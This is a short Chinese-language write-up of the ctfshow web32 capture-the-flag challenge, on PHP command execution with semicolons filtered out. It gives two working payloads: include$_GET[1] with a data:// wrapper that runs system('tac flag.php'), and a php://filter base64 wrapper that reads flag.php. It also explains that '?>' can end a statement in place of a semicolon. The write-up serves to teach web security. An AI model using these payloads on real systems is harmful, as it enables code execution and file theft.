ctfshow web32

ctfshow web32

  • 题号:web32
  • 难度:⭐⭐
  • 考点:命令执行配合制造漏洞代码
  • 日期:2026-8-29

题目描述

Pasted image 20260829113015 将大部分常规思路代码都过滤了,尤其是分号的过滤,因为我们的普遍认知都是php中每个想要执行的代码后面都必须存在分号

解题思路

1.发现过滤了分号就去思考有什么不需要用到分号或者只用一次分号就能解决问题的办法 2.然后聪明的你就想到了通过构造文件包含漏洞配合伪协议来解决这题

下面的两个payload都可以获取flag

Payload / 关键操作


一.?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
二.?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

复现截图

一.Pasted image 20260829115538

二.Pasted image 20260829115323

对应课程章节

RCE命令执行

踩坑记录 / 复盘

1.正常来说分号是php代码的结束符,没有分号就会报错。但这有个小细节:?>这个也可以作为php代码的结束符,所以一般php代码的最后一个代码都可以不用分号